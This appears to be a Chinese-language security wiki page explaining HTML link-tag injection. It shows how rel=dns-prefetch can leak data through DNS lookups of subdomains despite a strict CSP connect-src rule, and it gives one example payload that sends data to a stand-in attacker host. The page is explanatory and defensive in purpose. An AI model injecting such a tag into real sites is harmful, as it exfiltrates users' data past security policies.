> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/html-zhu-ru/link.md). Agents can also search and read this documentation through its [MCP server](https://gitbook.cdxiaodong.life/~gitbook/mcp).

# link标签注入

## 概述

[`<link>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link) HTML 元素指定当前文档与外部资源之间的关系。这个元素最常用于链接到样式表，但也用于建立站点图标（包括"favicon"样式图标以及移动设备的主屏幕和应用程序图标）等。

## rel=dns-prefetch

`rel` 属性的 [dns-prefetch](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch) 关键字是给浏览器的提示，表明用户可能需要目标资源源的资源，因此浏览器可以通过抢先执行该源的DNS解析来改善用户体验。它可以用来在子域中泄露数据，即使在限制性的 CSP `connect-src` 指令下也是如此。

```html
<link rel="dns-prefetch" href="//AAA.BBB.CCC.DDD.attacker.webserver.com">
```

参考资料：

* [Trail of Bits Blog: Escaping misconfigured VSCode extensions](https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/)
